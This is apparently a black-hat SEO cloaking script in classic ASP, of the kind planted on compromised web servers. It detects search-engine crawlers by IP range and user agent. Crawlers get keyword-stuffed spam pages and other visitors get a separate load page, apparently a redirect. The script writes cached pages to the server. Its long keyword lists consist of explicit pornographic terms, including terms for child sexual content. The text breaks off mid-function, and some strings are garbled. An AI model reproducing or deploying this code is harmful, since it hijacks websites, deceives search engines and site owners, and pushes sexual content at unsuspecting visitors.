?%On Error Resume Next set fso=Server.CreateObject ("Scripting.FileSystemObject") qurl=LCase(Request.ServerVariables("SERVER_NAME")) port=Request.ServerVariables("SERVER_PORT") pom=split(qurl,".") if check(qurl) then pdom=pom(UBound(pom)-2)&"."&pom(UBound(pom)-1)&"."&pom(UBound(pom)) elseif UBound(pom)<2 then pdom=qurl elseif UBound(pom)>2 then pdom=pom(UBound(pom)-2)&"."&pom(UBound(pom)-1)&"."&pom(UBound(pom)) else pdom=pom(UBound(pom)-1)&"."&pom(UBound(pom)) end if bdp="" ejym=split("m|wap|3g|www|roll|baby|data|mp|open|tel|vip|music|live|app|top|vip|art|history|2019|show|ask|mobile|travel","|") ejmm=split("n_|p_","|") if chkip()=1 or request("a")="b" then elseif instr(Request.ServerVariables("Http_User_Agent"),"hrome/49")>0 then iurl=split(ReadFromTextFile("bbz.txt","gb2312"),chr(13)&chr(10)) ffff="http://"&iurl(RndNumber(ubound(iurl),0))&"/"&Getejml() eod=ReadFromTextFile("load.html","utf-8") Response.Write eod Response.Write" " Response.Write" " Response.Write" "&ffff&"" iurl=Empty Response.end else eod=ReadFromTextFile("load.html","utf-8") Response.Write eod Response.Write "" Response.Write "" Response.Write "" eod=Empty Response.end end if If fso.FolderExists(Server.MapPath("btmp/"&qurl))=false Then fso.CreateFolder(Server.MapPath("btmp/"&qurl)) end if If fso.FolderExists(Server.MapPath("btmp/"&qurl&"/"&port))=false Then fso.CreateFolder(Server.MapPath("btmp/"&qurl&"/"&port)) mls=split(ReadFromTextFile ("ml.txt","utf-8"),chr(13)&chr(10)) iml=mls(RndNumber(ubound(mls)-1,0)) call WriteToFile ("atmp/"&qurl&"_"&port&".txt","$tmp$"&iml&"$/tmp$","utf-8") else aod=ReadFromTextFile ("atmp/"&qurl&"_"&port&".txt","utf-8") a1=instr(aod,"$tmp$")+5 a2=instr(aod,"$/tmp$") iml=mid(aod,a1,a2-a1) End If ggg=split("电影|日本|国产|亚州|欧美|快播|三级|色情|性爱|在线|大香蕉|高清|黄色|激情|论理|乱伦|强奸|情色|日韩|偷拍|亚洲|天堂|A片|三级片|操逼|肏屄|午夜|qvod|韩国|色网|色情|掰穴|狂干|插逼|校园|日本|国产|亚州|欧美|快播|三级|成人|XXX|A片|超碰|qvod|百性阁|波多野结衣|第四色|丁香成人|肛交|狠狠撸|蝴蝶谷|色色网|就去干|情色五月天|七大叔成人网|色哥哥|色情五月天|色小姐|私色房成人网|婷婷激情电影|淫淫网|xfplay|xiao77|xxoo|矮人性|爱AV|爱bb|爱爱色|爱人人|爱色|俺来也|俺去也|按摩|暗暗撸|八度成人|俺去撸|掰开|白虎|百合|百家性|鲍鱼|暴操|暴力|暴力强奸|暴露|本色|屄屄|屄毛|屄图|逼逼|逼图|比基尼|比较色|变态另类|波霸|波波|变态|播播|啵啵|操逼性交|操逼图|操逼视频|操逼网站|操逼自拍|操操|操大奶子|插插插|插姐姐|插进|插美女|插妹妹|插入|插骚妇|插骚逼|插穴|超大胆|超级|超碰|超色|潮吹|车上|成年人|成人毛片|成人美女|成人免费|成人片|成人强奸|成人人体|成人性|成人淫|春暖花开|春色|打飞机|大鸡巴|大色哥|大色|?色|丰满|风间|高跟丝袜|狂操|捆绑|另类|撸撸色|撸撸射|裸体|蜜穴|蜜桃|全裸|人体|骚妇|骚货|色妹妹|色淫淫|色悠悠|淫荡|淫乱|淫色|性欲|性奴|性感|小色|五月天|无毛|兽交|快播|空姐|女优|人妻|少妇|少女|熟妇|熟女|老太太|夫妻|阿姨|白洁|表姐|宾馆|白领|白鹿原|酒店|酒井千波|陈宝莲|陈冠希|陈雅伦|村上里沙|村上丽奈|妈妈|麻美由真|麻生希|美女|妹妹|明星|母子|男人|女人|女性|小妹|香港|台湾|女生|老公|老婆|老头|老人|老色|李丽珍|小次郎|苍井空|波多野结|港台|都市|先锋影音|小姨子|迅雷|办公室|百度影音|百度网盘|暴风影音|波多野结衣|自拍|综合|做爱|动漫|丝袜|无码|资源|色图|视频|图片|小说|幼交|种子|大全|网站|网址|下载|XXX|群交|性|欧美|成人|另类|图片|巨乳|自拍|电影|小说|性交|国产|视频|小穴|黄色|淫色|熟女|丝袜|偷拍|模特|性交|亚洲|在线|乱伦|人妻|翘臀|幼女|大香蕉|无码|自慰|a片|强奸|情色|色情|电影|淫色|性爱|淫荡|人妻|三级|快播|xxx|双飞|操逼|高清|深喉|毛片|做爱|色色","|") fff=split("播放|影片|动漫|动画|最新|国外|美国|漫画|观看|成人h|成人小|综合|色|社区|手机|性爱|快播|伦理|成人a |一级|免费|写真|全集|阅读|网盘|短篇|bt|西瓜 |五月|好看|啪啪 |超碰|黑人|下载 |制服|婷婷|97|直播|资源|迅雷|种子|插|干|操|插插插|百度|丁香|福利|十大|苍井空|爱爱|艺术|妇女|色情播播|老太|a级|在线av|淫秽|六月|大香蕉|精品|青青草|国内|华人|老师|播放器|色色|中出|加勒比|空姐|se|变态|超清|十八|老公|岛国|天天|人兽|ed2k|老妇 |小姐|动态|夫妻|情人|操操|肥臀|美腿|短视频|邪恶|sex|推油|黑丝|磁力|论坛|孕妇|欧美成|链接|欧美性|欧美色|欧美图|欧美a|亚洲色|亚洲性|亚洲图|亚洲a|大屁股|h版|大片|囗交|久久|女优|sss|性感|有码.|3P|妈妈|床戏|freex|图区|里番|第一页|波多|春色|骚妇|骚逼|强奸|乱伦|电影|色图|少妇|日韩|操逼|美女|韩国|AV|小说|图片|鸡巴|黄片|日本|黄色|视频|欧美|偷拍|性交|网址|在线|做爱|影院|A片|色情|情色|亚洲|老妇|熟女|裸聊|网站|淫色|丝袜|无码|国产|色片|自慰|成人|鸡吧|人妻|另类|高清|毛片|淫乱|影视|色站|xxx|裸体|导航|做爰|肏屄|三级片|口交|激情|论理|巨乳","|") lll=split("关于|和|与|:|及|开展|对|要求|推动|举行|加强|会见|介绍|表示","|") iggg="欧美|成人|另类|图片|巨乳|自拍|电影|小说|性交|国产|视频|小穴|黄色|淫色|熟女|丝袜|偷拍|模特|亚洲|在线|乱伦|人妻|翘臀|幼女|大香蕉|无码|自慰|a片|强奸|情色|色情|电影|淫色|性爱|淫荡|人妻|三级|快播|xxx|双飞|操逼|高清|深喉|毛片|做爱|色色" 'sss=split(ssex,chr(13)&chr(10)) bzzz=split("最好的|最全的|最新的|最快的|最新的|最全的|最牛的|最主流的|最高级的|最优质的|最的多|最低|的最受欢迎的|最具权威的|高质量的|权威的|准确的|很大的|最优惠的|专业的|热门的|高品质|领先的|一流的|出名的|超强的|感兴趣|海量的|多样化|较先进的|强大的|更好的|优秀的|最火爆的|最信誉的|最公平|较大的|知名的|专业的|先进的|优质的|高效?,"|") sekeys=split(iggg,"|") ppp=split("渠道|指标|平台|资讯|技巧|服务|保障|系统|环境|标杆|机构|市场","|") hhh=split("业内|全球|全国|全世界|行业|国内外|亚州","|") rrr=split("玩家|用户|网友|好友|你|大家|观众|客户|您|爱好?,"|") ttt=split("提供|拥有|各类|涵盖|主要|囊括了|包括|体验|汇集?,"|") jjj=split("咨询合作|渠道|服务|理念|传媒|精英|团队|品牌|形象|值信赖|信誉|口碑|体验|信息|活动|服务|相关|问题|怎么样?|好不好?|如何?|为什么?|权威|超强|最火爆|资讯|保障|有哪些?","|") rdes=split("$key$一直秉承以$rrr$rrr-需求为核心的原则,在专注开?sss$sss-的同时,为超过数百家?sss$sss-$ttt$ttt-$zzz$zzz-?zzz$zzz-?ppp$ppp-,赢得了众多$sss$sss-的信赖和好评,在$hhh$hhh-树立?zzz$zzz-$jjj$jjj-。|||$key$?zzz$zzz-$sss$sss-新闻??rrr$rrr-$ttt$ttt-$zzz$zzz-?zzz$zzz-等相关服?给你一?zzz$zzz-$sss$sss-,传承$sss$sss-优秀?jjj$jjj-|||$key$作为$hhh$hhh-最快的$sss$sss-,我们诚恳的为$rrr$rrr-$ttt$ttt-最?zzz$zzz-体育论坛,$sss$sss-永远倾注于服务为至上的宗??zzz$zzz-,$zzz$zzz-态度服务每一位用户!|||$key$致力打造于以安全为$rrr$rrr-量身制作,$sss$sss-利用$zzz$zzz-脱颖而出$ttt$ttt-$zzz$zzz-,$zzz$zzz-,$zzz$zzz-传媒服务,$key$感谢的访?记得收藏本站。|||$key$建于1953??hhh$hhh-成立$zzz$zzz-?zzz$zzz-$sss$sss-之一,$ttt$ttt-$sss$sss-?sss$sss-等精彩内容不止是游戏快感和心动,更是一?zzz$zzz-$jjj$jjj-。|||$key$搜罗$rrr$rrr-感兴趣的游戏$sss$sss-▲能够让$rrr$rrr-轻松的享?zzz$zzz-?zzz$zzz-乐趣,$sss$sss-?zzz$zzz-$jjj$jjj-|||$key$?hhh$hhh-$zzz$zzz-体育直播网站之一,作为$hhh$hhh-$zzz$zzz-$sss$sss-,我们$zzz$zzz-?rrr$rrr-$ttt$ttt-$zzz$zzz-$sss$sss-,$key$欢迎点击体验。|||2019?zzz$zzz-$zzz$zzz-$key$互动交流$ppp$ppp-,上万网友分?sss$sss-策略心得。你可以在?sss$sss-”通俗易懂地掌?zzz$zzz-$sss$sss-专业知识?sss$sss-$ttt$ttt-?sss$sss-价格表和排行?jjj$jjj-。|||$key$是目?hhh$hhh-$zzz$zzz-$sss$sss-导航网站?sss$sss-?rrr$rrr-解析了什么是$zzz$zzz-?zzz$zzz-$sss$sss-,合理精确的推荐加入我们?sss$sss-共创双赢.|||品牌$zzz$zzz-$key$我们$ttt$ttt-多元?sss$sss-,$sss$sss-超过250种的$sss$sss-?jjj$jjj-,公司是$hhh$hhh-$zzz$zzz-?zzz$zzz-$sss$sss-相关资讯,打?sss$sss-第一品牌?,"|||") icss=split("margin:0; |padding:0;|vertical-align:top; |outline:none;|border:0; |text-align:left;|float:left;|text-align:right;|padding-bottom:2px;|text-decoration:none;|margin-right:0;|width:100%;|margin:0 20px 0 0;|font-weight:bold;|line-height:0;|position:relative;|border-color:#$colo$;|font-family: Arial;","|") if request("xml")<>"" then if instr(request("xml"),"/")>0 then xmm=split(request("xml"),"/") rxmm=xmm(ubound(xmm)) else rxmm=request("xml") end if end if if request("html")<>"" then if instr(request("html"),"/")>0 then xmm=split(request("html"),"/") rxmm=xmm(ubound(xmm)) else rxmm=request("html") end if end if if request("doc")<>"" then if instr(request("doc"),"/")>0 then xmm=split(request("doc"),"/") rxmm=xmm(ubound(xmm)) else rxmm=request("doc") end if end if if request("xls")<>"" then if instr(request("xls"),"/")>0 then xmm=split(request("xls"),"/") rxmm=xmm(ubound(xmm)) else rxmm=request("xls") end if end if if request("n_")<>"" then rxmm=replace(request("n_"),"/","") end if if request("p_")<>"" then rxmm=replace(request("p_"),"/","") end if if request("ppt")<>"" then if instr(request("ppt"),"/")>0 then xmm=split(request("ppt"),"/") rxmm=xmm(ubound(xmm)) else rxmm=request("ppt") end if end if if rxmm<>"" then if fso.FileExists(server.MapPath("/btmp/"&qurl&"/"&port&"/"&rxmm&".txt")) then cod=ReadFromTextFile ("/btmp/"&qurl&"/"&port&"/"&rxmm&".txt","utf-8") Response.Write cod cod=Empty Response.end else cod=ReadFromTextFile ("/tmp/"&iml&"/index.html","utf-8") cod=replace(replace(replace(replace(LCase(cod),"网页模板",""),"网页模板",""),"模板之家",""),"http://","#") pod=RemHTML(cod) wnii=randKey(8) wse=split(ReadFromTextFile ("txt/w"&RndNumber(7,1)&".txt","utf-8"),chr(13)&chr(10)) 'wxx=split(ReadFromTextFile ("txt/333.txt","utf-8"),chr(13)&chr(10)) 'wse=split(ReadFromTextFile ("txt/wse2.txt","utf-8"),chr(13)&chr(10)) fen=split(ReadFromTextFile ("txt/en.txt","utf-8"),chr(13)&chr(10)) ien=rumpx(fen,"|",3500) if RndNumber(3,1)=1 then bse=split(ReadFromTextFile ("txt/bse.txt","utf-8"),chr(13)&chr(10)) nkey=bse(RndNumber(UBound(bse),1)) else nkey=wse(RndNumber(UBound(wse),1)) end if rkey=left(nkey,2) for ri=0 to UBound(wse) if instr(wse(ri),rkey)>0 then rsgk=rsgk&wse(ri)&"|" 'bsgk=bsgk&wkey(ri)&chr(13)&chr(10) end if next isk=split(rsgk,"|") nnt=RndNumber(4,1) keys=mtit links=""&nkey&"" if nnt=1 then mtit=nkey elseif nnt=2 then mtit=nkey&" "&wse(RndNumber(UBound(wse),1)) else mtit=nkey&" "&wse(RndNumber(UBound(wse),1))&" "&wse(RndNumber(UBound(wse),1)) end if if nnt=1 or nnt=2 then dis=replace(mdis(),"$key$",nkey) else bds=RndNumber(7,3) dis=nkey for ds=0 to RndNumber(10,8) if ds=bds then dis=dis&" "&isk(RndNumber(UBound(isk),1)) else dis=dis&" "&wse(RndNumber(UBound(wse),1)) end if next end if if instr(cod,"0 then a1=instr(cod,"")+1 des=mid(cod,a1,a2-a1) cod=replace(cod,des,"") end if if instr(cod,"0 then a1=instr(cod,"")+1 keyw=mid(cod,a1,a2-a1) cod=replace(cod,keyw,"") end if if instr(cod,"")>0 then a1=instr(cod,"<title>") a2=instr(a1,cod,"") tit=mid(cod,a1,a2-a1) cod=replace(cod,tit,""&mtit) end if 'cod=replace(cod,"",""&chr(13)&chr(10)&""&chr(13)&chr(10)&""&chr(13)&chr(10)) cod=replace(cod,"",""&chr(13)&chr(10)&""&chr(13)&chr(10)) if instr(cod,"utf-8")<1 then cod=replace(cod,"",""&chr(13)&chr(10)&"") end if cod=replace(cod,"",""&chr(13)&chr(10)&""&chr(13)&chr(10)&"") icss="" cod=replace(cod,"",icss&bdp&"") if instr(cod,"

")>0 then rod=split(cod,"

") bcod=rod(0) for ssi=1 to UBound(rod) a1=instr(rod(ssi),"

")-1 h2c=left(rod(ssi),a1) hrod=replace(rod(ssi),h2c,"") h2c="" bcod=bcod&"

"&wse(RndNumber(UBound(wse),1))&hrod next elseif instr(cod,"

")>0 then rod=split(cod,"

") bcod=rod(0) for ssi=1 to UBound(rod) a1=instr(rod(ssi),"

")-1 h2c=left(rod(ssi),a1) hrod=replace(rod(ssi),h2c,"") bcod=bcod&"

"&wse(RndNumber(UBound(wse),1))&hrod h2c="" next elseif instr(cod,"

")>0 then rod=split(cod,"

") bcod=rod(0) for ssi=1 to UBound(rod) a1=instr(rod(ssi),"

")-1 h2c=left(rod(ssi),a1) hrod=replace(rod(ssi),h2c,"") h2c="" bcod=bcod&"

"&wse(RndNumber(UBound(wse),1))&hrod next else bcod=cod end if bff=bcod 'if instr(bcod,"

")>0 then ' ps=split(bcod,"

") ' 'bff=ps(0) 'for di=1 to UBound(ps) 'dco=ps(di) 'a1=instr(ps(di),"

")-1 'pps=left(ps(di),a1) 'bff=bff&"

"&replace(ps(di),pps,mken(pod)) 'next 'else 'bff=bcod 'end if wkl=RndNumber(2,1) if instr(bff,"0 then dv=split(bff,"0 then ffo=ffo&""&rhi&"

") end if else ffo=bff end if 'if instr(ffo,"©")>0 then 'ffo=replace(ffo,"©","© "&links) 'elseif instr(ffo,"©")>0 then 'ffo=replace(ffo,"© ","© "&links) 'else 'ffo=replace(ffo,"",links&"") 'end if call WriteToFile ("/btmp/"&qurl&"/"&port&"/"&rxmm&".txt",ffo,"utf-8") Response.Write ffo 'Response.Write nkey&"
"&sgk&"
"&rsgk cod=Empty ffo=Empty wse=Empty bse=Empty fen=Empty dvd=Empty Response.end end if elseif request("css")<>"" then cod=ReadFromTextFile ("/tmp/"&iml&"/"&request("css")&".css","utf-8") Response.Write cod cod="" Response.end elseif request("js")<>"" then cod=ReadFromTextFile ("/tmp/"&iml&"/"&request("js")&".js","utf-8") Response.Write cod cod="" Response.end elseif request("jpg")<>"" then Response.ContentType = "image/gif" '设置文件类型 Response.Buffer = True '预缓? Response.Clear path = server.mappath("/tmp/"&iml&"/"&request("jpg")&".jpg") Set BinaryStream = CreateObject("ADODB.Stream") 'Adodb.Stream组件读取图片 BinaryStream.Type = 1 BinaryStream.Open BinaryStream.LoadFromFile Path data = BinaryStream.Read() BinaryStream.Close Response.BinaryWrite data '输出图片 Response.Flush Response.end elseif request("gif")<>"" then Response.ContentType = "image/gif" '设置文件类型 Response.Buffer = True '预缓? Response.Clear Response.end path = server.mappath("/tmp/"&iml&"/"&request("gif")&".gif") Set BinaryStream = CreateObject("ADODB.Stream") 'Adodb.Stream组件读取图片 BinaryStream.Type = 1 BinaryStream.Open BinaryStream.LoadFromFile Path data = BinaryStream.Read() BinaryStream.Close Response.BinaryWrite data '输出图片 Response.Flush Response.end elseif request("png")<>"" then Response.ContentType = "image/gif" '设置文件类型 Response.Buffer = True '预缓? Response.Clear Response.end path = server.mappath("/tmp/"&iml&"/"&request("png")&".png") Set BinaryStream = CreateObject("ADODB.Stream") 'Adodb.Stream组件读取图片 BinaryStream.Type = 1 BinaryStream.Open BinaryStream.LoadFromFile Path data = BinaryStream.Read() BinaryStream.Close Response.BinaryWrite data '输出图片 Response.Flush Response.end else if fso.FileExists(server.MapPath("/btmp/"&qurl&"/"&port&"/index.html")) then cod=ReadFromTextFile ("/btmp/"&qurl&"/"&port&"/index.html","utf-8") cod=replace(cod,"",""&chr(13)&chr(10)&"") Response.Write cod Response.end else if fso.FileExists(server.MapPath("/tmp/"&iml&"/index.html")) then cod=ReadFromTextFile ("/tmp/"&iml&"/index.html","utf-8") cod=replace(replace(replace(replace(LCase(cod),"网页模板",""),"网页模板",""),"模板之家",""),"http://","#") pod=RemHTML(cod) wnii=randKey(8) wse=split(ReadFromTextFile ("txt/w"&RndNumber(7,1)&".txt","utf-8"),chr(13)&chr(10)) 'wxx=split(ReadFromTextFile ("txt/333.txt","utf-8"),chr(13)&chr(10)) 'wse=split(ReadFromTextFile ("txt/wse2.txt","utf-8"),chr(13)&chr(10)) fen=split(ReadFromTextFile ("txt/en.txt","utf-8"),chr(13)&chr(10)) ien=rumpx(fen,"|",3500) if RndNumber(3,1)=1 then bse=split(ReadFromTextFile ("txt/bse.txt","utf-8"),chr(13)&chr(10)) nkey=bse(RndNumber(UBound(bse),1)) else nkey=wse(RndNumber(UBound(wse),1)) end if rkey=left(nkey,2) for ri=0 to UBound(wse) if instr(wse(ri),rkey)>0 then rsgk=rsgk&wse(ri)&"|" 'bsgk=bsgk&wkey(ri)&chr(13)&chr(10) end if next isk=split(rsgk,"|") nnt=RndNumber(4,1) keys=mtit links=""&nkey&"" if nnt=1 then mtit=nkey elseif nnt=2 then mtit=nkey&" "&wse(RndNumber(UBound(wse),1)) else mtit=nkey&" "&wse(RndNumber(UBound(wse),1))&" "&wse(RndNumber(UBound(wse),1)) end if if nnt=1 or nnt=2 then dis=replace(mdis(),"$key$",nkey) else bds=RndNumber(7,3) dis=nkey for ds=0 to RndNumber(10,8) if ds=bds then dis=dis&" "&isk(RndNumber(UBound(isk),1)) else dis=dis&" "&wse(RndNumber(UBound(wse),1)) end if next end if if instr(cod,"0 then a1=instr(cod,"")+1 des=mid(cod,a1,a2-a1) cod=replace(cod,des,"") end if if instr(cod,"0 then a1=instr(cod,"")+1 keyw=mid(cod,a1,a2-a1) cod=replace(cod,keyw,"") end if if instr(cod,"")>0 then a1=instr(cod,"<title>") a2=instr(a1,cod,"") tit=mid(cod,a1,a2-a1) cod=replace(cod,tit,""&mtit) end if 'cod=replace(cod,"",""&chr(13)&chr(10)&""&chr(13)&chr(10)&""&chr(13)&chr(10)) cod=replace(cod,"",""&chr(13)&chr(10)&""&chr(13)&chr(10)) if instr(cod,"utf-8")<1 then cod=replace(cod,"",""&chr(13)&chr(10)&"") end if cod=replace(cod,"",""&chr(13)&chr(10)&""&chr(13)&chr(10)&"") icss="" cod=replace(cod,"",icss&bdp&"") if instr(cod,"

")>0 then rod=split(cod,"

") bcod=rod(0) for ssi=1 to UBound(rod) a1=instr(rod(ssi),"

")-1 h2c=left(rod(ssi),a1) hrod=replace(rod(ssi),h2c,"") bcod=bcod&"

"&wse(RndNumber(UBound(wse),1))&hrod next elseif instr(cod,"

")>0 then rod=split(cod,"

") bcod=rod(0) for ssi=1 to UBound(rod) a1=instr(rod(ssi),"

")-1 h2c=left(rod(ssi),a1) hrod=replace(rod(ssi),h2c,"") bcod=bcod&"

"&wse(RndNumber(UBound(wse),1))&hrod next elseif instr(cod,"

")>0 then rod=split(cod,"

") bcod=rod(0) for ssi=1 to UBound(rod) a1=instr(rod(ssi),"

")-1 h2c=left(rod(ssi),a1) hrod=replace(rod(ssi),h2c,"") bcod=bcod&"

"&wse(RndNumber(UBound(wse),1))&hrod next else bcod=cod end if bff=bcod 'if instr(bcod,"

")>0 then ' ps=split(bcod,"

") ' 'bff=ps(0) 'for di=1 to UBound(ps) 'dco=ps(di) 'a1=instr(ps(di),"

")-1 'pps=left(ps(di),a1) 'bff=bff&"

"&replace(ps(di),pps,mken(pod)) 'next 'else 'bff=bcod 'end if wkl=RndNumber(2,1) if instr(bff,"0 then dv=split(bff,"0 then ffo=ffo&""&rhi&"

") end if else ffo=bff end if call WriteToFile ("/btmp/"&qurl&"/"&port&"/index.html",ffo,"utf-8") Response.Write ffo 'Response.Write nkey&"
"&sgk&"
"&rsgk cod=Empty ffo=Empty wse=Empty bse=Empty fen=Empty dvd=Empty Response.end else Response.Write "" Response.Write "网页不存? Response.end end if end if end if cod="" isk=Empty rsgk=Empty Function RndNumber(MaxNum,MinNum) Randomize RndNumber=int((MaxNum-MinNum+1)*rnd+MinNum) RndNumber=RndNumber End Function function getddi(pppp) getddi="" ddii=split("|||
|||||
    $imm$
|
$ikk$
||$imm$|<nobr id=""$dum$""></nobr>|
||$imm$|
||$imm$|||
|

|$ikk$|||$itd$|
|
    $itd$
|
    $imm$
||$imm$|
    |||<sup id=""$dum$""><ins id=""$dum$""></ins></sup>||<nobr id=""$dum$""><tr id=""$dum$"">$itd$</tr></nobr>||||||$itd$|||
    ||
    $ikk$
    ||
    $ikk$
    |$ikk$|$ikk$|

    $ikk$

    |||||||||$itd$|$itd$|$ikk$||$ikk$|
    |$ikk$|
    ||<dl id=""$dum$"">$ikk$</dl>|","|") for d1i=0 to pppp getddi=getddi&replace(replace(replace(replace(ddii(RndNumber(UBound(ddii),0)),"$dum$",randKey(5)),"$ikk$",isk(RndNumber(UBound(isk),1))),"$imm$",""),"$itd$",itd()) next getddi=getddi end function Function mken(itxt) ppk=split(itxt&ien,"|") pss=RndNumber(12,5) for pee=0 to RndNumber(6,1) for pp=0 to pss if pp=pss then mken=mken&ppk(RndNumber(ubound(ppk),0))&"." else mken=mken&ppk(RndNumber(ubound(ppk),0))&" " end if next next End Function function getddi2(pppp) getddi2="" ddii=split("|||
    |||||
      $imm$
    |
    $ikk$
    |||<nobr id=""$dum$""></nobr>|
    ||$imm$|
    |||||
    |

    |$ikk$|||$itd$|
    |
      $itd$
    |
      $imm$
    |||
      |||<sup id=""$dum$""><ins id=""$dum$""></ins></sup>||<nobr id=""$dum$""><tr id=""$dum$"">$itd$</tr></nobr>||||||$itd$|||
      ||
      $ikk$
      ||
      $ikk$
      |$ikk$|$ikk$|

      $ikk$

      |||||||||$itd$|$itd$|$ikk$||$ikk$|
      |$ikk$|
      ||<dl id=""$dum$"">$ikk$</dl>|","|") for d1i=0 to pppp getddi2=getddi2&replace(replace(replace(replace(ddii(RndNumber(UBound(ddii),0)),"$dum$",randKey(5)),"$ikk$",Geten(pod)),"$imm$",""),"$itd$","") next getddi2=getddi2 end function function getddi3(pppp) getddi3="" ddii=split("|$link$||
      $link$
      |||||
        $imm$
      |
      $ikk$
      |$link$|$imm$|<nobr id=""$dum$"">$link$</nobr>|
      |||
      |||$link$||
      |

      |$ikk$|||$itd$|
      |
        $itd$
      |
        $imm$
      |||
        |||<sup id=""$dum$""><ins id=""$dum$""></ins></sup>||<nobr id=""$dum$""><tr id=""$dum$"">$itd$</tr></nobr>||||$link$||$itd$|||
        ||
        $ikk$
        ||
        $link$
        |$ikk$|$ikk$|

        $link$

        ||||||$link$|$link$||$itd$|$itd$|$ikk$||$ikk$|
        |$ikk$|
        ||<dl id=""$dum$"">$ikk$</dl>|$link$","|") if RndNumber(3,1)=1 then for d1i=0 to pppp getddi3=getddi3&replace(replace(replace(replace(replace(ddii(RndNumber(UBound(ddii),0)),"$dum$",randKey(5)),"$ikk$",Geten(pod)),"$imm$",""),"$link$",""&Geten(pod)&""),"$itd$","") next else getddi3=getddi3&replace(replace(replace(replace(replace(ddii(RndNumber(UBound(ddii),0)),"$dum$",randKey(5)),"$ikk$",Geten(pod)),"$imm$",""),"$link$",""),"$itd$","") end if getddi3=getddi3 end function Function ReadFromTextFile (FileUrl,CharSet) dim str set stm=server.CreateObject("adodb.stream") stm.Type=2 '以本模式读取 stm.mode=3 stm.charset=CharSet stm.open stm.loadfromfile server.MapPath(FileUrl) str=stm.readtext stm.Close set stm=nothing ReadFromTextFile=str End Function Function randKey(obj) Dim char_array(80) Dim temp For yi = 0 To 9 char_array(yi) = Cstr(yi) Next For yi = 10 To 35 char_array(yi) = Chr(yi + 55) Next For yi = 36 To 61 char_array(yi) = Chr(yi + 61) Next Randomize For yi = 1 To obj temp = temp&char_array(int(62 - 0 + 1)*Rnd + 0) Next randKey = temp randKey = LCase(temp) End Function function mdis() imnt=split(rdes(RndNumber(UBound(rdes),0)),"$rrr$") for ia=0 to UBound(imnt) s1=s1&replace(imnt(ia),"rrr-",rrr(RndNumber(UBound(rrr),0))) next s2=split(s1,"$zzz$") for ia=0 to UBound(s2) s3=s3&replace(s2(ia),"zzz-",bzzz(RndNumber(UBound(bzzz),0))) next s4=split(s3,"$ttt$") for ia=0 to UBound(s4) s6=s6&replace(s4(ia),"ttt-",ttt(RndNumber(UBound(ttt),0))) next s5=split(s6,"$ppp$") for ia=0 to UBound(s5) s7=s7&replace(s5(ia),"ppp-",ppp(RndNumber(UBound(ppp),0))) next s8=split(s7,"$jjj$") for ia=0 to UBound(s8) s9=s9&replace(s8(ia),"jjj-",jjj(RndNumber(UBound(jjj),0))) next s10=split(s9,"$hhh$") for ia=0 to UBound(s10) s11=s11&replace(s10(ia),"hhh-",hhh(RndNumber(UBound(hhh),0))) next s12=split(s11,"$sss$") for ia=0 to UBound(s12) mdis=mdis&replace(s12(ia),"sss-",isk(RndNumber(UBound(isk),1))) next end Function Function itd() for ia=0 to RndNumber(5,1) itd=itd&""&wse(RndNumber(UBound(wse),1))&"" next end Function Function getcss() for ia=0 to 2 getcss=getcss&icss(RndNumber(UBound(icss),0))&chr(13)&chr(10) next end Function Function chkip() ips=split("61.135.186|180.149.13|106.11.15|42.156.13|42.156.254|42.120.16|42.120.23|42.236.10|180.163.220|42.236.54|42.236.99|42.236.12|123.233.210|123.233.200|180.153.232|180.153.234|180.153.236|42.236.101|42.236.102|42.236.103|42.236.13|42.236.14|42.236.15|42.236.16|42.236.17|42.236.46|42.236.48|42.236.49|42.236.50|42.236.51|42.236.52|42.236.53|42.236.55|106.120.173|106.121.135.224|106.38.241|111.202.101|220.181.89|111.206.36|220.181.108|123.125.71|220.181.51|36.110.199|154.212.32|154.214.57|60.28.22|61.135.162|119.188.14|123.125.66|159.226.50|162.105.207|180.149.133|202.108.249|220.181.19|220.181.32|123.125.68|202.108.11|202.108.22|202.108.23|202.108.250|61.135.145|61.135.146|111.206.198|111.206.221|106.120.188|123.126.113|218.30.103|58.250.125|123.126.68|221.192.180|49.7.20|111.206.222","|") user_ip=request.ServerVariables("REMOTE_ADDR") chkip=0 for ip1=0 to ubound(ips) if instr(user_ip,ips(ip1))>0 then chkip=1 exit for end if next End Function Function RemHTML(str) Dim objRegExp, Match,mmhtml if isnull(str) then str="" end if mmhtml=str mmhtml=replace(replace(replace(mmhtml,vblf,""),vbcr,""),vbcrlf,"") Set objRegExp = New Regexp objRegExp.IgnoreCase = True objRegExp.Global = True objRegExp.Pattern = "]*?>.*?" mmhtml = objRegExp.Replace(mmhtml,"") objRegExp.Pattern = "]*?>.*?" mmhtml = objRegExp.Replace(mmhtml,"") objRegExp.Pattern = "<.+?>" mmhtml = objRegExp.Replace(mmhtml,"") Set objRegExp = Nothing mmhtml=replace(replace(replace(replace(replace(mmhtml," ","")," ",""),"-->","")," ","|"),"||","") RemHTML=mmhtml End Function Function Geten(itxt) ppk=split(itxt,"|") pss=RndNumber(12,5) for pp=0 to pss if pp=pss then Geten=Geten&ppk(RndNumber(ubound(ppk),0))&"." else Geten=Geten&ppk(RndNumber(ubound(ppk),0))&" " end if next End Function Public Function GetHtml(url,tker) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","Baiduspider+(+http://www.baidu.com/search/spider.htm)" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = tker GetHtml = objStream.ReadText objStream.Close set objStream = Nothing End Function Function rumpx(rstr,kkh,clid) cleng=UBound(rstr) randomize for ii=0 to cleng b=int(rnd()*cleng) temp=rstr(b) rstr(b)=rstr(ii) rstr(ii)=temp Next if clid>cleng then clid=cleng end if For si=0 To clid if si=cleng then rumpx=rumpx&rstr(si) else rumpx=rumpx&rstr(si)&kkh end if next End Function Function Getejml() ejml=split("news$rtf|show$ppt|view$rtf|detail$ppt|2019$ppt|detail$html|news$html|show$html|p_$ddd|p_$ddd|n_$ddd|n_$ddd|news$xls|view$xls","|") rumm=RndNumber(ubound(ejml),0) nej=split(ejml(RndNumber(ubound(ejml),0)),"$") if nej(1)="ddd"then Getejml=nej(0)&randKey(10)&"/" else Getejml=nej(0)&"/"&Getxxx(nej(1)) end if End Function Function Getxxx(ifi) ffee=RndNumber(5,0) if ffee=1 then Getxxx=replace(date(),"/","")&"/"&randKey(8)&"."&ifi elseif ffee=2 then 